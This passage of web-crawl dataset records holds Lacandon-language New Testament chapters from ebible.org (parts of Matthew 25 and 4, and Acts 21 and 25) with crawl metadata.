ti', cax mʌ' ya'ab yʌn ti'.\"\n30 Caj ya'araj u jach ts'urir ti' u c'urew: \"Chuquex a purex a je' in c'urewa'. Joc'sex a pich'intex ich tancab tu ac'bir.\" Baxuc cu bin u betic ti' a mac jach c'as, ti' cu bin ocarob tu cu bin muc'yajob ich c'ac'. Ti' cu bin u yac'ticob u bʌj. Ti' cu bin u chi'ic u yac'ob ich c'ac' quire' muc'yaj u ca'ob.\nJe' u c'uchur tu q'uinin cu rʌc bin ʌcʌtan ich C'uj\n31 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Ca' bin taquen a teno' a mac tar quir in yamtic mac tu cotor. Quin tar in reyintic tu cotor mac. In wet tar yʌjmasirob u t'ʌn C'uj yejer u sasirir C'uj xan. Ti' quin bin in cutar tu cu naj cutar rey quir in wiric a mac tsoy wa mʌ' tsoyi'.\n32 Ti' cu bin u much'quinticob u bʌj tu cotor mac wa ti' cu tar ich u jer ru'um. Ti' cu bin u rʌc much'quinticob u bʌj ʌcʌtan ten ―quij Jesús―. U tiri' quin bin in jʌsic irij a mac yʌn yʌrʌc' tʌmʌn yuc cu jʌsic yejer yʌrʌc' chivo. Jujuntur ti' quin bin in jʌsic hasta caj in rʌc jʌsaj tu cotor mac.\n33 A mac cu jach man tu tsoyir ti' quin bin in jʌsej ich in no'j. Wa mac cu man tu c'asir ti' quin bin in jʌsic tin ts'ic.\n34 A teno' ―quij Jesús―, quin bin in wa'aric a mac ti' yʌnob tin no'j: \"Je' in qui' acsiquechex tu cu bin u reyintic C'uj, quire' C'uj caj u betaj tsoy ti' techex. Cax mʌ' toy betaj te' ich yoc'ocab C'uj caj u toc betaj u cuchir quir u yacsiquechex ich ca'anan a mac a caj u yacsajob tu yorob ti'.\n35 Mʌ' ja wirej, tsoy in wacsiquechex. Mʌ' ja wirej, caj wichʌjen uch caj a ts'aj in wo'och. Caj uc'chʌjen caj a ts'aj in wuc'ur. Caj a wacsajenex quire' mʌna' in way tu quin wenen.\n36 Caj a wirajex mʌna' in noc' caj a sijex ten in buquintej. Caj a wirex yajen caj tarechex a wirenex. Caj a wirenex mʌca'anen caj tarechex a wirenex.\"\n37 Robob cu bin ya'aric: \"Jaj ix tʌcoj ic Jaj Ts'urirex. A tenob quire' mʌ' tin jansajob tech. Mʌ' tin ts'ajob quir a wuc'ur. Mʌ' tin wacsajob tech quire' mʌna' a way. Mʌ' tin yamtajob tech a baywo'.\n38 A tenob mʌ' tin wacsajob tech mʌ' tin ts'ajob tech a noc' quir a buquintic.\n39 Caj yajijech mʌ' tarenob in wirechob. Ti' mʌca'anech xan mʌ' tarenob in wirechob.\"\n40 A teno' quin bin in nunquic techex: \"Jach taj quin wa'aric techex quire' caj a yamtajex a mac a caj u yacsajob tu yorob in t'ʌn cax ca wiric irej moso quet tan a yamtiquenex.\"\n41 'A teno' quin bin in wa'aric ti' a mac a ti' yʌnob tin ts'ic: A techex satʌrechex. Joq'uenex, xenex ich c'ac' soc munt q'uin ca werarex a toc beta'an ten C'uj ti' quisin yejer yʌjmasirob u t'ʌn quisin.\n42 Mʌ' jin wacsajechex, quire' mʌ' ta jansajenex, cax wi'ijen. Caj uc'chʌjen mʌ' ta c'ʌs ts'ajex in wuc'ur.\n43 Caj manen tu yʌnechex, cax caj a wirajenex mʌna' in noc', mʌ' ta c'ʌs ts'ajex ten in buquintej. Cax caj a wirex mʌna' in way, mʌ' ta wacsajenex. Caj yajijen mʌ' tarechex a c'ʌs irenex. Bayiri' ti' mʌca'anen, mʌ' tarechex a c'ʌs irenex.\n44 A mac ti' yʌnob tin ts'ic cu bin u yacob ten: \"Jaj Ts'urir, wa ber caj in wirob wi'ijech cax uc'chʌjech. Cax mʌna' a way mʌ' in ts'ajob tech. Caj in wirob ti' mʌca'anechob mʌ' tarenob in wiriquechob. Caj in wirob yajech mʌ' tarenob in wirechob mʌ' tin yamtechob?\"\n45 A teno' quin bin in nunquic a mac ti' yʌn ich in ts'ic: \"Taj quin wa'aric techex quire' caj a p'uspachtaj a caj u yacsaj tu yorob in t'ʌn. Quire' mʌ' a tucriquex wa tsoyob a yacsmʌnob tu yorob in t'ʌn. Bayiri' caj u p'uspachtajenex.\"\n46 Rajen quin bin in wa'aric ti' a mac ti' yʌn ich in ts'ic: \"Xenex ta werarex ich c'ac' munt q'uin ca werarex.\" Chen a mac ti' yʌn tin no'j quin bin in wa'aric ti'ob: \"Je' in qui' acsiquechex quir a cuxtar munt q'uin ich ca'anan.\"","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT25.html","date":"2022-07-01T17:04:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103943339.53\/warc\/CC-MAIN-20220701155803-20220701185803-00309.warc.gz","language":"lac","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000076293945312}","num_words":1718,"character_repetition_ratio":0.069,"word_repetition_ratio":0.011,"special_characters_ratio":0.299,"stopwords_ratio":0.501,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21\nPablo cu bin tu cajar Jerusalén\n1 Caj ts'oc in t'ʌnic'ob. In wet acsa'orirob caj in p'ʌtajob, quij Lucas, caj oquenob ich chem quir in binob ich u petenin c'ac'nab u c'aba' Cos. Jach taj binenob. Jeroj caj sasij caj c'uchenob ich u cajar Rodas. Ti' u cajar Rodas caj wʌc'ʌs binenob, quij Lucas, ich u cajar Pátara.\n2 Caj c'uchenob ich u cajar Pátara caj in wirajob u jer u chemin c'ac'nab quir in binob tu ru'umin Fenicia, Jeroj caj oquenob ich chem caj binenob.\n3 Tan in tarob ich chem, caj in wirajob u ru'umin u petenin Chipre. Taj yʌn tin ts'icob, caj in potmastajobi'. Jeroj, quij Lucas, caj c'uchenob tu ru'umin Siria. Mʌ' ja wirej, caj u joc'sob u cuch u chem quire' ti' yʌn u jor chem, u c'aba' Tiro. Rajen joq'uenob.\n4 Tiri' caj in nup'ajob jun yarob ij quet acsa'orirob ich u cajar Tiro. Ti' p'atenob yejerob siete u q'uinin tu yatocho'. Robob caj u ya'arajob ti' Pablo:\n―Mʌ' a yʌn bin Pablo tu cajar Jerusalén. Quire' baxuc caj ya'araj tenob u Taj'or u Pixam C'uj.\n5 Barej caj ts'oc a ray siete u q'uinino', caj joq'uenob quir in binob. A yacsmʌnob tu yorob caj rʌc joc'ob yirob in binob. Caj rʌc joc'ob yejer u rac' baxuc xan, yejer u pararob. Peri' caj bino'onex chi' c'ac'nab quir ic t'ʌniquex C'uj. Jeroj caj xonrʌjo'onex ich chi'c'ac'nab quir ic t'ʌniquex C'uj. Caj ts'oc ic t'ʌniquex C'uj caj ic rʌc pacran pʌtʌxmec'taj ic bʌjex yejer ij quet acsa'orirex.\n6 Caj ts'oc ic rʌc pʌtʌxmec'tic ij quet acsa'orirex, caj oquenob ich chem quir in binob. Chen robob caj sutnʌjob tu pachob quir u binob tu yatochob.\n7 A baywo', quij Lucas, caj in p'ʌtajob u cajar Tiro, jeroj caj c'uchenob yejer chem ich u cajar Tolemaida. Tiri' caj joq'uenob ich chem caj binenob in wirob ij quet acsa'orirex. Ti' p'atenob turiri' u q'uinin yejerob.\n8 Barej caj sasij caj joq'uenob quir in binob, caj c'uchenob tu cajar Cesarea. Jeroj, caj u yacsajenob Felipe tu yatoch. A je' Felipeja', ra' turiri' ich a siete xibo', a teta'b quir u yamticob a mac a teta'b ten Jesús uch quir u tsec'ta'r u t'ʌn. A ray sietejo', ra' cu jʌ'sʌr yo'och xquic a quimen u mame'. A Felipeje', cu tsicbʌtic u jach tsoyir u t'ʌn C'uj tu cotor mac. Ti' p'atenob yejer Felipe, quij Lucas.\n9 Ti' yʌn u parar xquic Felipe, rʌc yʌn u nup u parar xquic. Mʌ' ch'a'ani' u parar xquic Felipe. Robob cu tsicbʌticob u t'ʌn C'uj quire' ts'a'b u tucurob ten C'uj quir u tsicbarob a ba' u c'at C'uj.\n10 Quire' ti' toy yʌnenob ich yatoch Felipe, quij Lucas, jeroj tune' caj c'uchij ich yatoch Felipe, a mac a ts'a'b u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj. U c'aba' Agabo. Raji' tar u tar tu ru'umin Judea.\n11 Raji' tar u yiriquenob. Caj c'uchij, jeroj, caj c'uchij Agabo, caj pit u c'ax u nʌc' Pablo ten Agabo a ti' yʌn u nʌc' Pablo. Agabo caj u c'axaj u wʌc'ʌs bʌjiri' u c'ʌb yejer u c'ax u nʌc' Pablo, caj u wʌc'ʌs c'ʌxaj yoc xan. Jeroj, caj u ya'araj:\n―Baxuc cu bin u c'ʌx a c'ʌb yejer a woc u winiquirob judío ich u cajar Jerusalén. Ca' bin ts'ocac u c'ʌriquechob cu bin u puriquech tu mʌ' u winiquirob judío ―baxuc caj ya'araj ten u Taj'or u Pixam C'uj uch.\n12 Caj ts'oc ij cu'yiquex, quij Lucas, ya'aric Agabo caj tic chich arajex ti' Pablo mʌ' u yʌn bin tu cajar Jerusalén. Bayiri' xan, caj u ya'arajob a yacsmʌnob tu yorob a cʌja'anob tu cajar Cesarea.\n13 Caj u nuncaj Pablo ti'ob:\n―Yaj in wiric a woc'arex. Mʌ' ja wirej, tan a tupsiquex in wor cax cu chuquenob u c'ʌxenob tu cajar Jerusalén quir in quinsa'. Cax quimiquen ti' Jesús, in Jaj Ts'urir ―quij.\n14 Barej caj ij quirajex mʌ' c'ucha'an ij corex ij c'ax u tucur Pablo, soc mʌ' u bin tu cajar Jerusalén. Caj ts'oc ic tsibarex caj ij carajex:\n―Ca' u betej a ba' u c'at Jaj Ts'ur.\n15 Caj ts'oc u q'uinin caj in wirajob Felipe, caj in marajob in ba'tacob quir in binob tu cajar Jerusalén. Caj ts'oc in maricob caj binenob.\n16 Yet binacob jun yarob a yacsmʌnob tu yorob u t'ʌn Jesús a cʌja'anob tu cajar Cesarea. Robob caj u purenob tu yʌn turiri' xib a caj tarij uch ti' u petenin Chipre. U c'aba' a ray xibo', Mnasón. Raji' caj u yʌn acsaj tu yor uch. Mnasón caj u yacsajenob tu yatoch.\nPablo caj bin yirej Jacobo\n17 Barej caj c'ucho'onex tu cajar Jerusalén, quij Lucas, caj u qui' acsajo'onex ij quet acsa'orirex. Jach qui' yor a yacsmʌnob tu yorob caj yiro'onex.\n18 Caj sasij caj bino'onex yejer Pablo ich Jacobo. Tiri' much'a'anob a nuxibob u jach ts'urirob a yacsmʌnob tu yorob tu cajar Jerusalén.\n19 Caj ts'oc u rʌc t'ʌnanobe' caj u tsicbʌtaj ti'ob a ba' caj u betaj C'uj ich a mʌ' u winiquirob judío quire' tsec'ta'b u t'ʌn C'uj ten Pablo ti' a mʌ' u winiquirob judío. A ba' caj u betaj C'uj Pablo caj u ya'araj jujuntur.\n20 Caj ts'oc u yubicob a ba' tsicbanʌjij Pablo caj u qui' t'ʌnajob C'uj caj ya'arob:\n―Jach caremech C'uj.\nJeroj tune', turiri' mac ich u yet acsa'orirob a teta'b quir u t'ʌnic Pablo yʌjt'ʌnir tu cotor u yet acsa'orirob, caj u ya'arajob ti' Pablo:\n―Iric, ij quet acsa'orirech. A techo', a wer yʌn ya'ab a yacsmʌnob tu yorob u t'ʌn Jesús ich ij quet winiquirob judío. Robob tu cotor tan u chich aricob ca' u qui' cʌnantej tu cotor mac a ba' ara'b ich u t'ʌn Moisés, baxuc to'onex.\n21 Mʌ' ja wirej, robob caj u yubajob u juminta'r cu ya'aricob tan a man a camsic tu cotor a wet winiquirob judío tu cʌja'anob a wet winiquirob judío tantanxer ru'um, wa ca' u p'ʌtob u quibicob a ba' ts'ibta'b ten Moisés uche'. Baxuc caj u yubob u juminta'r tan a camsicob xan mʌ' ju ts'ir u chan ochir a xibo', an ten bic quic naj betiquex ti' a chan ocho', soc u cʌnanticob a ba' cu naj betic ij quet winiquirob judío.\n22 Ba' quic bin ic betex ca' bin yubob c'uchech tera'? Quire' jach taj, je' yubicob ti' yʌnech te'ra'. Je' u much'quinticob u bʌj ca' bin yubob aro'.\n23 Ca' a wu'yej a ba' quin wa'aricob tech Pablo. A tenobo', yʌn in rʌc nupo' xib a tera', a yacsmʌnob tu yorob. Robob tabar u nup'sicob a ba' tu toc arob ti' C'uj yʌn u nup xibo'.\n24 Pʌyej a je' rʌc yʌn u nup xiba', ca' xiquech yejerob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. An ten bic caj u betajob a rʌc yʌn u nup xibo' quet bayiri' xan, ca' a betic xan an ten bic cu naj beticob u winiquirob judío. A techo', bo'otej u bo'orir u c'osar u jo'r a wet binacob. Toc betej aro' soc yerob a wet winiquirob judío a ba' caj u pʌc'ajob a pachob mʌ' taji' quire' a ba' caj u yubob u juminta'r. Ca' a yʌn a bet aro' soc yerob ca quibic u t'ʌn Moisés ra' cu ya'aric to'on quir ij cuxtar.\n25 Chen ara'b ti' Pablo ten u jach ts'urirob a yacsmʌnob tu yorob:\n―A tenob, caj in ts'ibtob ju'un ti' a mʌ' u winiquirob judío, a yacsmʌnob tu yorob u t'ʌn Jesús. Caj in toc arajob ti'ob a ba' quin tucricob. Caj in wa'arajob ca' a chen u'yex a je' t'ʌna': \"Mʌ' a yʌn jantiquex a ba' cu yesic mac ti' yochir u tus c'uj. Mʌ' a chi'iquex bʌc', a yʌn u q'uiq'uero', yʌn sisbʌstex. Baxuc xan, mʌ' a yʌn wenʌnex yejer mac a mʌ' a mamexo' mʌ' a yʌn wenʌnex yejer a mac a mʌ' a raq'uexo'.\"\nChuc Pablo tu cu naj c'ujinticob C'uj u winiquirob judío\n26 Jeroj, caj sasij caj bin Pablo yejer a rʌc yʌn u nup xibo' caj u yʌn p'ojob u bʌjob an ten bic u winiquirob judío nazarite cu p'o'ic u bʌj tu ts'iba'an ich u t'ʌn Moisés. Caj ts'oc aro', caj oquij Pablo yejer a rʌc yʌn u nup xibob ich carem naj tu naj c'ujinticob C'uj u winiquirob judío. Jeroj, caj u p'isaj u q'uinin ti' u jach ts'urirob sacerdote soc yerob nup' u p'o'icob u bʌjob. Soc yerob u jach ts'urirob sacerdote cu bin u purob u sijejob ti' C'uj, ti' jujuntur cu binob an ten bic caj ya'araj ten Moisés uch u t'ʌn ca' bin c'uchuc tu q'uinin.\n27 Barej orac manij a siete q'uin, ti' irij Pablo ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj irij Pablo ten u winiquirob judío a cu tarob ich u ru'umin Asia. Robob caj u p'usajob u yorob soc ts'ictarob u yet winiquirob judío, a ti' yʌnob soc u tarob chucbirob Pablo. Jeroj caj u purajob u bʌj ich yoc'or Pablo.\n28 C'am awʌtnʌjob, tan ya'aricob:\n―Cojenex, yam tenob u xibirechex u winiquirob israel quir in chuquicob a je' xiba'. Mʌ' ja wirej. raji' tan u camsic tu cotor mac, mʌ' ba'wir ca' u quibej a ba' cu ya'aric u t'ʌn ic nunquirex Moisés. Rajen tan u camsic mʌ' patar a to'onex u winiquirob judío. Baxuc cu ya'aric xan, mʌ' ba'wir ti' a je' carem najo' tu quic naj c'ujintiquex C'uj. Mʌ' jariri', caj u yacsaj a mʌ' u winiquirob judío ich a je' carem najo', tu quic naj c'ujintiquex C'uj. Baje'rer, caj u c'asquintaj a je' carem naj xan a tu quij c'ujintiquex C'uj.\n29 Mʌ' ja wirej, Pablo irir ten mac uch tan u man ich u cajar Jerusalén yejer u nup Trófimo. A Trófimojo', ti' cu tar tu cajar Efeso. Rajen caj u tus tucrajob acsa'bo' ten Pablo ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío.\n30 Seb caj u much'quintajob u bʌj quir u chucurob Pablo. Orac tu cotor mac tu cajar Jerusalén caj oc u chuquej Pablo ich carem naj. Caj chopʌta'b Pablo ich tancab carem naj. Seb caj u mʌcajob u jor a carem naj. Caj rʌc p'ujob yorob tu cotor mac tu cajar.\n31 Quire' caj u tumtob u quinsej Pablo, caj bin t'ʌnbir u jach ts'urirob soldado. Ara'b ti' tan u rʌc p'ujur yorob tu cotor mac tu cajar Jerusalén.\n32 Caj joc' u t'ʌn u soldados yejer u capitánob. Caj t'ʌnob ten u jach ts'urir soldado. Seb caj binob tu cu chucur Pablo. Caj yirob cu tar u jach ts'urirob soldado caj p'at u jats'ʌr Pablo ten a pimo'.\n33 Caj c'uchij u jach ts'urir soldado yicnʌn Pablo caj ara'b ten u jach ts'urir ca' u chucob Pablo quir u ma'cʌr. Caj ts'oc u chucur Pablo caj c'arij yejer ca'tur mascab. Jeroj tune, caj c'ata'b ti' a pimo' maqui', bayiri' caj c'ata'b ti' ba' u ber ca jʌts'iquex.\n34 C'am caj u nuncajob ti' a pimo'. U jer u jer cu nunquic. Rajen u jach ts'urir soldado mʌ' yer biquinin caj p'usa'b yorob a pimo', rajen caj ara'b u bin purbir Pablo ten u jach ts'urirob soldado tu cu naj wenʌnob soldado.\n35 Chen barej, caj c'uchob a soldadojo' yejer Pablo tu cu nacʌre'. Yʌn c'ochbir Pablo ten a soldadojo' quire' jach ts'ic a pimo'. U c'atob u ca' chuquicob Pablo.\n36 Quire' a mac a cu tar tu pach c'am awʌtnʌjob:\n―Ca' ij quinsej a rayo' ―baxuc caj ya'arajob a pimo'.\nPablo caj u nuncaj a mac a tan u pʌq'uicob u pach ʌcʌtan tu much'a'an a pimo'\n37 Barej orac acsa'b Pablo tu cu naj wenʌnob soldado caj u t'ʌnaj u jach ts'urir soldado Pablo:\n―Cax tsicbanʌquenob? ―quij Pablo.\nCaj u ya'araj u jach ts'urir soldado:\n―Quin wiric tech a wer u t'ʌn griego.\n38 Mʌ' wa tech u winiquirech egipto, a tu much'quintaj a pimo' quir u ts'iquinta'r gobierno romano? Mʌ' wa tech caj a pʌyaj u berob a pimo' quir u bin u quinsob u winiquirob gobierno. Mʌ' wa tech caj a much'quintaj cuatro mil xib ich tʌcay ru'um uch?\n39 Jeroj Pablo, caj u nuncaj caj u ya'araj:\n―A teno', u winiquireno' judío. Tar in tar ich u cajar Tarso uch. A ray cajaro' jach manan no'j, ra' ti' yʌn ich u ru'umin Cilicia. Quin chan c'atic tech ca' a cha'j in tsicbar ti' a ray pimo'.\n40 U jach ts'urir soldado caj u cha'j u tsicbar Pablo. Ti' cu ch'ictar tu cu nacʌr mac a cu bin tu cu naj wenʌnob u soldado romano. Pablo caj u pecsaj u c'ʌb ca' ts'ocac u t'ʌn a pimo'. Jeroj Pablo caj u yʌnxchun u tsicbar ti'ob ich u t'ʌn u winiquirob judío.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC21.html","date":"2022-06-26T18:18:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00510.warc.gz","language":"lac","language_score":1.000000596,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000005960464478}","num_words":2065,"character_repetition_ratio":0.084,"word_repetition_ratio":0.004,"special_characters_ratio":0.272,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"25\nPablo caj u tsicbʌtaj ʌcʌtan gobernador Festo\n1 Jeroj, caj c'uchij Festo quir u yocar beyaj bic gobernador. Barej caj ts'oc u man mʌna' u nup u q'uinin, seb Festo caj u p'ʌtaj u cajar Cesarea caj binij ich u cajar Jerusalén.\n2 Barej caj c'uchij Festo tu cajar Jerusalén caj tarob tu yicnʌn u jach ts'urirob u sacerdote u winiquirob judío, quet tarob u jach ts'urirob u winiquirob judío, a mac a jach nojo'. Rʌc tarob quir u tocarob u jo'r Pablo. Robob caj u ya'arajob ti' Festo:\n―A je' xiba' Pablo, caj u yacsaj ya'ab u c'asir ―quij.\n3 Rajen caj u ya'arajob:\n―Tsoy ca' a betej a tenobo', wa je' a pʌyic Pablo ich u cajar Jerusalén.\nMʌ' ja wirej, caj u tucrob wa ju mucu ch'ucticob u mucu quinsob Pablo ich bej.\n4 Barej Festo, caj u nuncaj:\n―Ti' toy yʌn Pablo ich u cajar Cesarea tu mʌca'an, cu cʌnanta'r ten soldados. Tabar in bin a teno' ―quij―.\n5 Barej, arex u bin a jach ts'urirex ca' xiquenob yejer a jach ts'urirex ca' ij quirex wa ba' c'as caj u betaj. Arej ca' tacob u tacob u jo'r Pablo ʌcʌtan ten ich u cajar Cesarea.\n6 A Festojo', caj p'at ich u cajar Jerusalén ocho wa diez u q'uinin, jeroj, caj joq'uij quir u bin tu cajar Cesarea. Caj sasij caj curaj tu c'anche'ir tu cu naj cutar a gobernadoro', tu cu joc'ar u tajir ba', jeroj, caj u tuchi'taj pʌybir Pablo soc u tar yicnʌn.\n7 Barej caj c'uchij Pablo ich Festo, u winiquirob judío a tarob tu cajar Jerusalén, caj u bʌc'ristajob Pablo. Jeroj, caj u yʌnxchun u taquicob u jo'r Pablo. Robob caj u ya'arajob:\n―A je' xiba', caj u betaj jach ya'ab c'as. Cax ya'ab caj u tacob u jo'r, chen mʌ' c'ucha'an yorob u yesicob wa taji'.\n8 Caj ya'araj Pablo quir u taquic u bʌj:\n―A teno', ―quij―, mʌna' in si'pir. A teno' mʌ' jin betaj c'as, a ba' cu c'asquintic u t'ʌn a cu naj cʌnanticob u winiquirob judío. Mʌ' jin betaj a ba' cu c'asquintic a carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Mʌ' jin wa'ara ba'quiri' c'as ti' u rey César a cʌja'an tu cajar Roma.\n9 Barej Festo, mʌ' u c'at u ts'iquintic u winiquirob judío, caj u ya'araj ti' Pablo:\n―Tsoy wa ta t'ʌn tech ca' xiquech tu cajar Jerusalén? Tar yʌno' c'ucha'an a wor a taquic a bʌj ten a ba' cu taquicob a jo'r.\nA baywo', u c'at u qui'quintic u yorob u winiquirob judío.\n10 Pablo tune', caj u ya'araj:\n―Baje'rer ti' yʌnen ich ʌcʌtan u jach ts'urir u cajar, a caj u cha'j u ts'urinta' ten u rey César. A tera' tech ca' a wa'arej wa c'as caj in betaj wa mʌna' c'as caj in betaj. Mʌna' c'as caj in betaj ti' an ten bic a jach er.\n11 Wa yʌn in si'pir quir in quinsa'. A teno', mʌ' in warej wa mʌ' in quimin. Chen mʌ' taj caj u ya'arob a cu taquicob in jo'r, rajen mʌ' c'ucha'an a wor a c'ubiquenob ti' u winiquirob judío. Rajen a teno', in c'at ca' a tuchi'ten ich rey César tu cajar Roma. In c'at ca' yubej u tocarob in jo'r ʌcʌtan a ti'o'.\n12 Festo tune', caj ts'oc u tsicbar yejer u yet ts'urirob u cajarob, caj u ya'araj ti' Pablo:\n―A c'at a taquic a bʌj ti' u rey César, je' in tuchi'tiquech ich u rey César.\nPablo ʌcʌtan ich rey Agripa\n13 Caj ts'oc u man mʌ' ya'ab u q'uinin, caj tar u jer rey ich u cajar Cesarea quir u ch'enapta'r Festo quir ya'aric ti':\n―A tenob, qui' in worob in wiricob a tar. Agripa u c'aba' a reyo'.\nYet tarac u rac' Berenice.\n14 Caj ts'oc u p'atʌrob ya'ab u q'uinin, Festo caj tsicbanʌjij yejer a rey Agripa ti' Pablo. Jeroj, caj u ya'araj:\n―Caj joq'uij Félix, caj u p'ʌtaj mʌca'an tu cu naj ma'cʌr mac turiri' xib. Pablo u c'aba'.\n15 Barej caj binen tu cajar Jerusalén uch, caj rʌc tarob u jach ts'urirob u sacerdote u winiquirob judío yejer u jach ts'urirob u winiquirob judío, a jach manan no'jo'. Caj rʌc tarob ʌcʌtan ten quir u tocor u jo'r Pablo. Caj u c'atajob ca' in c'ubej ca' quinsac.\n16 Caj in nuncaj ti'ob, u winiquirob romano mʌ' u naj c'ubic ca' quinsac mac wa mʌ' tu nuncaj a cu tocor u jo'r. Ca' u nuncob ʌcʌtan tin wich a cu tocarob u jo'r.\n17 Rajen caj rʌc tarob u winiquirob judío, tin wicnʌn tera'. Barej caj rʌc tarob, tera' tune', caj sasij, seb caj curʌjen tu c'anche'ir gobernador. Caj rʌc tarob u much'quinticob u bʌj tu quin wiric wa yʌn u si'pir mac wa mʌna' u si'pir. Caj in tuchi'taj t'ʌnbir Pablo xan.\n18 In wer ―quij Festo―, a Pablojo', neyʌn u si'pir caj in tus tucrej, neyʌn u si'pir. Barej a mac a cu taquicob u jo'r, mʌ' ju ya'araj ba' c'asir caj u betaj.\n19 Robob caj tsicbanʌjob bic tabar robob cu c'ujinticob C'uj. Caj u tsicbʌtajob Jesús a mac quimij baje'rer. Chen a Pablojo', cu chen aric cuxa'an bin Jesús.\n20 A teno', quire' xaca'an in tucur, quire' a ba' u rʌc xactob u bʌj a ba' caj in wu'yaj. Rajen caj in c'ataj ti' Pablo wa tsoy tu t'ʌn Pablo, ca' xic tu cajar Jerusalén, wa tsoy tu t'ʌn Pablo, ti' quin bin in wu'y u tocor u jo'r ―quij Festo―.\n21 Barej Pablo, caj u c'ataj ten ―quij Festo―, ca' xic ich u rey César ich u cajar Roma. Mʌ' ja wirej, a rey Césaro', je' u yubique' a cu tocarob u jo'r Pablo. Rajen caj in wa'araj, ca' u c'ʌrej yoc Pablo tu cu naj ma'cʌr mac hasta c'ucha'an in wor in tuchi'tic tu cajar Roma tu yʌn u rey César ―baxuc caj u ya'araj Festo.\n22 Caj ara'b ten Agripa ti' Festo:\n―Baxuc xan, a teno', in c'at in wu'yej Pablo.\nFesto caj ya'araj ti' rey Agripa:\n―Jach tsoy, saman je' a wu'yique'.\n23 Caj sasij, caj tarij rey Agripa yejer u rac' Berenice. Robob u buquinmʌnob u jach tsoyir u noc', u noc' rey, quir u sʌjta' ten tu cotor mac jach manan, quire' a ba' robob caj u betajob. Yet taracob a mac a cu yamtic a reyo' tu cu reyinticob. Ti' yʌnob u jach ts'urirob mil u soldados. Ti' yʌn xan u jach ts'urirob u cajar Cesarea. Ca rʌc ocob ich junxot' naj tu cu naj much'quinticob u bʌj soc yubic ba' quiri' ya'ara'. Jeroj tune', Festo caj u tuchi'taj t'ʌnbir Pablo. Caj c'uchij tun.\n24 Festo tun, caj u ya'araj:\n―U'yex ba' quin wac reyech Agripa, yejer tu cotor mac a much'a'anob tera' baje'rer. A je' xiba', ca wiriquex ta wichex, tu cotor u winiquirob judío, bayiri' xan u winiquirob judío tu cajar Cesarea, cax tu cajar Jerusalén u tacmʌnob u jo'r Pablo ten. Cu naj aricob ten ca' quimic Pablo.\n25 Barej a teno', mʌna' ba' caj in wiraj u betmʌn soc u quinsa', chen u bʌjiri' Pablo caj ya'araj ten, ca' in tuchi'tej soc yubic u rey César. Ti' cu bin soc yubic u rey César a cu tocarob u jo'r, rajen caj in tucuraj caj in tuchi'taj Pablo.\n26 Mʌ' ja wirej, mʌ' in wer ba' si'pir yʌn ti', rajen a ba' quin bin in ts'ibtic ti' u rey César? Rajen, caj in joc'saj ʌcʌtan techex. Jach qui' in wor in joc'sic ʌcʌtan tech reyech Agripa soc ca' bin ts'ocac a wu'yic je' a yamtiquen in ts'ibtej a Pablo ba' yʌn u si'pir ―quij―.\n27 Quire' quin wiric mʌ' ba'wir cu tuchi'ta'r mac a c'ʌra'ano' wa mʌ' ju ya'ara'r u si'pir.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC25.html","date":"2022-07-01T18:02:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103943339.53\/warc\/CC-MAIN-20220701155803-20220701185803-00314.warc.gz","language":"lac","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999984502792358}","num_words":1255,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.284,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nTumta'b yor Jesús ten quisin quir yiric wa cu yacsic u si'pir\n(Mr. 1.12‑13; Lc. 4.1‑13)\n1 Caj pay u ber Jesús ten u Taj'or u Pixam C'uj soc cu tumta'r yor ich tʌcay ru'um. A quisino', cu bin tumtic yor Jesús, quir yirir wa cu yacsic u si'pir.\n2 Ti' yʌn ich tʌcay ru'um cuarenta u q'uinin. Caj u jamach p'at u janʌn u burur q'uin u burur ac'bir. Caj ts'oc u jamach p'ʌtic u janʌn. Jesús caj wichʌjij.\n3 A quisino', caj u nʌts' u bʌj ich Jesús soc u tumtic yor Jesús. Caj ara'b ti' Jesús:\n―Wa tech, jach taj u pararech C'uje', waysej a je' tunicha' waj ca' a waysej a wo'och waj quir a jantic.\n4 Barej Jesús caj u nuncaj. Caj ya'araj Jesús:\n―Baxuc tu ts'iba'an u t'ʌn C'uj, cu ya'aric to'on: \"Mʌ' chen a woch waj cu cuxquintiquech. A xibo' cu cuxtar wa cu ya'aric C'uj.\"\n5 Caj payir Jesús ten quisin soc u bin ich u cajar Jerusalén. U winiquirob judío ti' cu naj c'ujinticob C'uj ich u cajar Jerusalén. Caj payir Jesús ten quisin ca'anan tu jo'r carem naj tu cu naj c'ujinticob C'uj u winiquirob judío.\n6 Caj ara'b ten quisin ti' Jesús:\n―Wa jach taj u pararech C'uj, pur a bʌj ca' rubuquech. Quire' ―quij quisin― cu ya'aric u t'ʌn C'uj:\nQuire' a C'ujo' cu ya'aric ti' u yʌjmasir u t'ʌn C'uj: \"Ca' a cʌnantej a mac in jach yaj. Je' a ric'siquex yejer a c'ʌbex cax mʌ' u nac ch'ʌctej tunich, soc mʌ' u yajtar u yocob ten tunich.\"\nBaxuc caj u ya'araj quisin.\n7 Jesús caj u 